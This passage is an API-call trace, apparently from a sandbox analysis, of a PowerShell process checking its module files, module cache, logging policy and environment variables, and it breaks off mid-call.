[0127.718] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Diagnostics\\Microsoft.PowerShell.Diagnostics.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.diagnostics\\microsoft.powershell.diagnostics.psd1")) returned 0x20 [0127.723] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement\\1.0.0.1\\packagemanagement.psd1")) returned 0x20 [0127.723] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\TroubleshootingPack\\TroubleshootingPack.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\troubleshootingpack\\troubleshootingpack.psd1")) returned 0x20 [0127.724] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\powershellget.psd1")) returned 0x20 [0127.724] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer\\BitsTransfer.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\bitstransfer\\bitstransfer.psd1")) returned 0x20 [0127.724] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSWorkflow\\PSWorkflow.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\psworkflow\\psworkflow.psd1")) returned 0xffffffff [0127.724] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.ODataUtils\\Microsoft.PowerShell.ODataUtils.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.odatautils\\microsoft.powershell.odatautils.psd1")) returned 0x20 [0127.724] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSWorkflowUtility\\PSWorkflowUtility.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\psworkflowutility\\psworkflowutility.psd1")) returned 0xffffffff [0127.724] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDiagnostics\\PSDiagnostics.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\psdiagnostics\\psdiagnostics.psd1")) returned 0x20 [0127.724] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetworkSwitchManager\\NetworkSwitchManager.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\networkswitchmanager\\networkswitchmanager.psd1")) returned 0xffffffff [0127.724] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDesiredStateConfiguration\\PSDesiredStateConfiguration.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\psdesiredstateconfiguration\\psdesiredstateconfiguration.psd1")) returned 0x20 [0127.725] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.WSMan.Management\\Microsoft.WSMan.Management.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.wsman.management\\microsoft.wsman.management.psd1")) returned 0x20 [0127.725] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Archive\\Microsoft.PowerShell.Archive.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.archive\\microsoft.powershell.archive.psd1")) returned 0x20 [0127.725] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\AppLocker\\AppLocker.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\applocker\\applocker.psd1")) returned 0xffffffff [0127.725] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\CimCmdlets\\CimCmdlets.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\cimcmdlets\\cimcmdlets.psd1")) returned 0x20 [0127.725] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\microsoft.powershell.management.psd1")) returned 0x20 [0127.725] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Security\\Microsoft.PowerShell.Security.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.security\\microsoft.powershell.security.psd1")) returned 0x20 [0127.726] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSScheduledJob\\PSScheduledJob.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\psscheduledjob\\psscheduledjob.psd1")) returned 0x20 [0127.726] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\1.0.0.1\\powershellget.psd1")) returned 0x20 [0127.726] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.LocalAccounts\\1.0.0.0\\Microsoft.PowerShell.LocalAccounts.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.localaccounts\\1.0.0.0\\microsoft.powershell.localaccounts.psd1")) returned 0xffffffff [0127.726] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSModule.psm1" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\1.0.0.1\\psmodule.psm1")) returned 0x20 [0127.726] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\1.0.0.1\\packagemanagement.psd1")) returned 0x20 [0127.726] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSModule.psm1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\psmodule.psm1")) returned 0x20 [0127.726] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\ISE\\ISE.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\ise\\ise.psd1")) returned 0x20 [0127.726] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psd1")) returned 0x20 [0127.727] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Host\\Microsoft.PowerShell.Host.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.host\\microsoft.powershell.host.psd1")) returned 0x20 [0131.939] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\windows\\powershell\\moduleanalysiscache")) returned 0x2020 [0131.939] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x52 [0131.939] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache", nBufferLength=0x52, lpBuffer=0x3e71a8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache", lpFilePart=0x0) returned 0x51 [0131.939] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x4c7f070) returned 1 [0131.939] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\windows\\powershell\\moduleanalysiscache"), fInfoLevelId=0x0, lpFileInformation=0x2126d78 | out: lpFileInformation=0x2126d78*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa18da600, ftCreationTime.dwHighDateTime=0x1d7b064, ftLastAccessTime.dwLowDateTime=0xa18da600, ftLastAccessTime.dwHighDateTime=0x1d7b064, ftLastWriteTime.dwLowDateTime=0xa1900760, ftLastWriteTime.dwHighDateTime=0x1d7b064, nFileSizeHigh=0x0, nFileSizeLow=0x3511)) returned 1 [0131.940] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x4c7f06c) returned 1 [0131.940] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x52 [0131.940] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache", nBufferLength=0x52, lpBuffer=0x3e71a8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache", lpFilePart=0x0) returned 0x51 [0131.940] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x4c7f25c) returned 1 [0131.940] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\windows\\powershell\\moduleanalysiscache"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x56c [0131.941] GetFileType (hFile=0x56c) returned 0x1 [0131.941] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x4c7f258) returned 1 [0131.941] GetFileType (hFile=0x56c) returned 0x1 [0131.972] WriteFile (in: hFile=0x56c, lpBuffer=0x2126eac*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x4c7f2e0, lpOverlapped=0x0 | out: lpBuffer=0x2126eac*, lpNumberOfBytesWritten=0x4c7f2e0*=0x1000, lpOverlapped=0x0) returned 1 [0131.973] WriteFile (in: hFile=0x56c, lpBuffer=0x2126eac*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x4c7f2e0, lpOverlapped=0x0 | out: lpBuffer=0x2126eac*, lpNumberOfBytesWritten=0x4c7f2e0*=0x1000, lpOverlapped=0x0) returned 1 [0131.974] WriteFile (in: hFile=0x56c, lpBuffer=0x2126eac*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x4c7f2e0, lpOverlapped=0x0 | out: lpBuffer=0x2126eac*, lpNumberOfBytesWritten=0x4c7f2e0*=0x1000, lpOverlapped=0x0) returned 1 [0131.974] WriteFile (in: hFile=0x56c, lpBuffer=0x2126eac*, nNumberOfBytesToWrite=0x606, lpNumberOfBytesWritten=0x4c7f2cc, lpOverlapped=0x0 | out: lpBuffer=0x2126eac*, lpNumberOfBytesWritten=0x4c7f2cc*=0x606, lpOverlapped=0x0) returned 1 [0131.974] CloseHandle (hObject=0x56c) returned 1 [0133.136] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x52 [0133.137] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache", nBufferLength=0x52, lpBuffer=0x3e71a8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache", lpFilePart=0x0) returned 0x51 [0133.137] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x4c7f070) returned 1 [0133.137] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\windows\\powershell\\moduleanalysiscache"), fInfoLevelId=0x0, lpFileInformation=0x212d014 | out: lpFileInformation=0x212d014*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa18da600, ftCreationTime.dwHighDateTime=0x1d7b064, ftLastAccessTime.dwLowDateTime=0xa18da600, ftLastAccessTime.dwHighDateTime=0x1d7b064, ftLastWriteTime.dwLowDateTime=0x3bf71040, ftLastWriteTime.dwHighDateTime=0x1d7b458, nFileSizeHigh=0x0, nFileSizeLow=0x3606)) returned 1 [0133.137] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x4c7f06c) returned 1 Thread: id = 46 os_tid = 0xfd8 Thread: id = 47 os_tid = 0xfdc [0143.336] CoGetContextToken (in: pToken=0x44ef32c | out: pToken=0x44ef32c) returned 0x0 [0143.336] IUnknown:QueryInterface (in: This=0x3428f0, riid=0x7135b24c*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x44ef350 | out: ppvObject=0x44ef350*=0x3428fc) returned 0x0 [0143.336] IComThreadingInfo:GetCurrentThreadType (in: This=0x3428fc, pThreadType=0x44ef37c | out: pThreadType=0x44ef37c*=0) returned 0x0 [0143.336] IUnknown:Release (This=0x3428fc) returned 0x1 Thread: id = 48 os_tid = 0xfe0 Thread: id = 54 os_tid = 0xff8 Thread: id = 58 os_tid = 0x85c Thread: id = 60 os_tid = 0x87c [0112.193] SetThreadUILanguage (LangId=0x0) returned 0x409 [0112.200] EtwEventRegister () returned 0x0 [0112.335] CoCreateGuid (in: pguid=0x572f4bc | out: pguid=0x572f4bc*(Data1=0x46a44ecc, Data2=0xc360, Data3=0x4bcb, Data4=([0]=0x81, [1]=0xfc, [2]=0xb5, [3]=0xef, [4]=0xbe, [5]=0x92, [6]=0x8f, [7]=0x6c))) returned 0x0 [0112.345] QueryPerformanceCounter (in: lpPerformanceCount=0x572f49c | out: lpPerformanceCount=0x572f49c*=1175332239934) returned 1 [0112.346] GetCurrentProcessId () returned 0xf38 [0112.346] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf38) returned 0x3c0 [0112.346] EnumProcessModules (in: hProcess=0x3c0, lphModule=0x21a620c, cb=0x100, lpcbNeeded=0x572f394 | out: lphModule=0x21a620c, lpcbNeeded=0x572f394) returned 1 [0112.347] GetModuleInformation (in: hProcess=0x3c0, hModule=0xa70000, lpmodinfo=0x21a634c, cb=0xc | out: lpmodinfo=0x21a634c*(lpBaseOfDll=0xa70000, SizeOfImage=0x6b000, EntryPoint=0xa7d330)) returned 1 [0112.348] CoTaskMemAlloc (cb=0x804) returned 0x3e6490 [0112.348] GetModuleBaseNameW (in: hProcess=0x3c0, hModule=0xa70000, lpBaseName=0x3e6490, nSize=0x800 | out: lpBaseName="powershell.exe") returned 0xe [0112.348] CoTaskMemFree (pv=0x3e6490) [0112.348] CoTaskMemAlloc (cb=0x804) returned 0x3e6490 [0112.348] GetModuleFileNameExW (in: hProcess=0x3c0, hModule=0xa70000, lpFilename=0x3e6490, nSize=0x800 | out: lpFilename="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershell.exe")) returned 0x39 [0112.348] CoTaskMemFree (pv=0x3e6490) [0112.348] CloseHandle (hObject=0x3c0) returned 1 [0112.350] LocalReAlloc (hMem=0x2f0e48, uBytes=0x208, uFlags=0x2) returned 0x3e71a8 [0112.350] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe", nBufferLength=0x104, lpBuffer=0x3e71a8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe", lpFilePart=0x0) returned 0x39 [0112.350] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x572f0cc) returned 1 [0112.350] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershell.exe"), fInfoLevelId=0x0, lpFileInformation=0x572f390 | out: lpFileInformation=0x572f390*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b7f9180, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8b7f9180, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x7711b3a3, ftLastWriteTime.dwHighDateTime=0x1d251bc, nFileSizeHigh=0x0, nFileSizeLow=0x68400)) returned 1 [0112.350] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x572f0c8) returned 1 [0112.350] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe", lpdwHandle=0x572f404 | out: lpdwHandle=0x572f404) returned 0x74c [0112.350] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe", dwHandle=0x0, dwLen=0x74c, lpData=0x21a8580 | out: lpData=0x21a8580) returned 1 [0112.351] VerQueryValueW (in: pBlock=0x21a8580, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x572f3d8, puLen=0x572f3d4 | out: lplpBuffer=0x572f3d8*=0x21a8920, puLen=0x572f3d4) returned 1 [0112.351] VerQueryValueW (in: pBlock=0x21a8580, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\CompanyName", lplpBuffer=0x572f358, puLen=0x572f354 | out: lplpBuffer=0x572f358*=0x21a8638, puLen=0x572f354) returned 1 [0112.351] VerQueryValueW (in: pBlock=0x21a8580, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\FileDescription", lplpBuffer=0x572f358, puLen=0x572f354 | out: lplpBuffer=0x572f358*=0x21a868c, puLen=0x572f354) returned 1 [0112.351] VerQueryValueW (in: pBlock=0x21a8580, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\FileVersion", lplpBuffer=0x572f358, puLen=0x572f354 | out: lplpBuffer=0x572f358*=0x21a86d4, puLen=0x572f354) returned 1 [0112.351] VerQueryValueW (in: pBlock=0x21a8580, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\InternalName", lplpBuffer=0x572f358, puLen=0x572f354 | out: lplpBuffer=0x572f358*=0x21a8748, puLen=0x572f354) returned 1 [0112.351] VerQueryValueW (in: pBlock=0x21a8580, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\LegalCopyright", lplpBuffer=0x572f358, puLen=0x572f354 | out: lplpBuffer=0x572f358*=0x21a8784, puLen=0x572f354) returned 1 [0112.351] VerQueryValueW (in: pBlock=0x21a8580, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\OriginalFilename", lplpBuffer=0x572f358, puLen=0x572f354 | out: lplpBuffer=0x572f358*=0x21a8808, puLen=0x572f354) returned 1 [0112.351] VerQueryValueW (in: pBlock=0x21a8580, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\ProductName", lplpBuffer=0x572f358, puLen=0x572f354 | out: lplpBuffer=0x572f358*=0x21a8850, puLen=0x572f354) returned 1 [0112.351] VerQueryValueW (in: pBlock=0x21a8580, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\ProductVersion", lplpBuffer=0x572f358, puLen=0x572f354 | out: lplpBuffer=0x572f358*=0x21a88c0, puLen=0x572f354) returned 1 [0112.351] VerQueryValueW (in: pBlock=0x21a8580, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\Comments", lplpBuffer=0x572f358, puLen=0x572f354 | out: lplpBuffer=0x572f358*=0x0, puLen=0x572f354) returned 0 [0112.351] VerQueryValueW (in: pBlock=0x21a8580, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\LegalTrademarks", lplpBuffer=0x572f358, puLen=0x572f354 | out: lplpBuffer=0x572f358*=0x0, puLen=0x572f354) returned 0 [0112.351] VerQueryValueW (in: pBlock=0x21a8580, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\PrivateBuild", lplpBuffer=0x572f358, puLen=0x572f354 | out: lplpBuffer=0x572f358*=0x0, puLen=0x572f354) returned 0 [0112.351] VerQueryValueW (in: pBlock=0x21a8580, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\SpecialBuild", lplpBuffer=0x572f358, puLen=0x572f354 | out: lplpBuffer=0x572f358*=0x0, puLen=0x572f354) returned 0 [0112.351] VerQueryValueW (in: pBlock=0x21a8580, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x572f34c, puLen=0x572f348 | out: lplpBuffer=0x572f34c*=0x21a8920, puLen=0x572f348) returned 1 [0112.351] VerLanguageNameW (in: wLang=0x409, szLang=0x572f0dc, cchLang=0x100 | out: szLang="English (United States)") returned 0x17 [0112.351] VerQueryValueW (in: pBlock=0x21a8580, lpSubBlock="\\", lplpBuffer=0x572f35c, puLen=0x572f358 | out: lplpBuffer=0x572f35c*=0x21a85a8, puLen=0x572f358) returned 1 [0112.978] QueryPerformanceCounter (in: lpPerformanceCount=0x572f464 | out: lpPerformanceCount=0x572f464*=1175395528984) returned 1 [0113.061] EtwEventRegister () returned 0x0 [0113.062] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x572f2d4, nSize=0x80 | out: lpBuffer="") returned 0x0 [0113.224] EtwEventActivityIdControl () returned 0x0 [0113.224] EtwEventActivityIdControl () returned 0x0 [0113.224] EtwEventActivityIdControl () returned 0x0 [0113.261] EtwEventActivityIdControl () returned 0x0 [0113.261] EtwEventActivityIdControl () returned 0x0 [0113.261] EtwEventActivityIdControl () returned 0x0 [0113.385] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x572eadc, nSize=0x80 | out: lpBuffer="") returned 0x0 [0113.385] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x572eadc, nSize=0x80 | out: lpBuffer="") returned 0x0 [0113.441] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x572eac8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0113.506] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Policies\\Microsoft\\Windows\\PowerShell\\ScriptBlockLogging", ulOptions=0x0, samDesired=0x20019, phkResult=0x572f340 | out: phkResult=0x572f340*=0x0) returned 0x2 [0113.507] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\PowerShell\\ScriptBlockLogging", ulOptions=0x0, samDesired=0x20019, phkResult=0x572f340 | out: phkResult=0x572f340*=0x0) returned 0x2 [0113.522] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x572ea98, nSize=0x80 | out: lpBuffer="") returned 0x0 [0113.531] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x572eed8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0113.533] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x572edf4, nSize=0x80 | out: lpBuffer="") returned 0xbe [0113.533] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x572ed78, nSize=0xbe | out: lpBuffer="") returned 0xbd [0113.534] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x572ed64, nSize=0xbe | out: lpBuffer="") returned 0x3a [0113.604] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x3e71a8 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop") returned 0x1a [0113.605] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x572ed6c, nSize=0xbe | out: lpBuffer="") returned 0x3a [0113.606] GetFullPathNameW (in: lpFileName="%SystemRoot%\\system32\\WindowsPowerShell\\v1.0\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x49 [0113.606] GetFullPathNameW (in: lpFileName="%SystemRoot%\\system32\\WindowsPowerShell\\v1.0\\", nBufferLength=0x49, lpBuffer=0x3e71a8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\%SystemRoot%\\system32\\WindowsPowerShell\\v1.0\\", lpFilePart=0x0) returned 0x48 [0113.606] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x572ec60) returned 1 [0113.606] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\%SystemRoot%\\system32\\WindowsPowerShell\\v1.0\\" (normalized: "c:\\users\\keecfmwgj\\desktop\\c:\\windows"), fInfoLevelId=0x0, lpFileInformation=0x572ef24 | out: lpFileInformation=0x572ef24*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0113.607] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x572ec5c) returned 1 [0113.607] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x572e5fc, nSize=0xbe | out: lpBuffer="") returned 0x0 [0113.607] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x14 [0113.608] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x14, lpBuffer=0x3e71a8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0113.608] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x572ec60) returned 1 [0113.608] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32" (normalized: "c:\\windows\\system32"), fInfoLevelId=0x0, lpFileInformation=0x572ef24 | out: lpFileInformation=0x572ef24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe13712, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x5da08c40, ftLastAccessTime.dwHighDateTime=0x1d7a944, ftLastWriteTime.dwLowDateTime=0x5da08c40, ftLastWriteTime.dwHighDateTime=0x1d7a944, nFileSizeHigh=0x0, nFileSizeLow=0x80000)) returned 1 [0113.608] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x572ec5c) returned 1 [0113.608] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x572ef1c) returned 1 [0113.609] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x14 [0113.609] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x14, lpBuffer=0x3e71a8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0113.610] FindFirstFileW (in: lpFileName="C:\\Windows\\system32\\Test-Connection.*", lpFindFileData=0x572eccc | out: lpFindFileData=0x572eccc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0113.610] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x572ec74) returned 1 [0113.610] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x572eed4) returned 1 [0113.611] GetFullPathNameW (in: 